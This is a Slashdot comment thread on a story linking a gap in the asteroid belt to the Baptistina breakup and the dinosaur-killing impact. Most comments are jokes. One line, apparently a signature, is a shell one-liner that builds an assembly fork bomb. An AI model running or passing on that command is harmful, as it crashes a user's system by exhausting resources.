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Hole in Asteroid Belt Reveals Extinction Asteroid
eldavojohn writes "Further evidence for the asteroid mass extinction theory has been discovered as a break in the main asteroid belt of our solar system. From the article, "A joint U.S.-Czech team from Southwest Research Institute (SwRI) and Charles University in Prague suggests that the parent object of asteroid (298) Baptistina disrupted when it was hit by another large asteroid, creating numerous large fragments that would later create the Chicxulub crater on the Yucatan Peninsula as well as the prominent Tycho crater found on the Moon.""
a break in the main asteroid belt of our solar system
The Flying Spaghetti Monster was making meatballs gets my vote.
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Ok lets all hope we don't get another visit from the hit men of our solar system, the Baptistina family.
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... then make a Slashdot account and submit it there. You caught me. Oh how you've ruined years of careful plotting and planning. I am not eldavojohn, I am actually a Czech researcher named Dr. David Vokrouhlicky. I have slowly been posting careful karma whoring posts and submitting story after story all in the name of eventually publishing my research and getting it on the front page of Slashdot.Yes, it was a long arduous endeavor. Gaining people's trust, making foes of others. It was an ingenious plan to boost the popularity and public acceptance of my paper
Well, the gig is up, that hole was actually created by Rumfoord and his dog, Kazak. Ohhh, no, I've wasted my life! Who would have thought such a ridiculously elaborate and circuitous plan to tilt the scientific world towards accepting my theories based on computer models could have been foiled by an internet user named Cheezymadman!?
My work here is dung.
Even a hole that big doesn't scare me as much as goatse's.
It didn't create sunspots and the Great Red Spot? I think these folks are not imaginative enough.
Don't trust anyone under thirty.
Further evidence for the asteroid mass extinction theory has been discovered as a break in the main asteroid belt of our solar system.
This is just like slashdot, submitters and editors never thinking about those of us on extra-solar planets in the Andromeda Galaxy. Everyone in the Milky Way is so planetary-centric. Would adding the extra clarification take long? No, and it would save a lot of headaches... seriously, I've got six heads out here too, do you realize how much Tylenol©®(TM) it takes to kill the pain?
1. There are more inter-system collisions than we realize. Example: Schoemaker-Levi
Data is not the plural form of anecdote.
If it's not true then why aren't we up to our asses in velociraptors?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
So let me get this straight, dinosaurs became extinct because of an asteroid belt buckle?
I guess the earth got caught with it's pants down..
Sephiroth did it.
He also created hemorrhoids.
They're using their grammar skills there.
You beat me to the pool analogy punch.
I was going to say, "Einstein was right, God doesn't play dice. He plays pool. Third planet, corner pocket!"
FLR
It was Lord Vader and his super Star Destroyer blasting the hole through while chasing the Falcon.
Perhaps an airplane full of "missing" nukes hit it.
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We'll see more holes appear in the belt as the universe expands.
We are. You might recognize them better using the term 'Pigeon' however. Or so one theory goes :P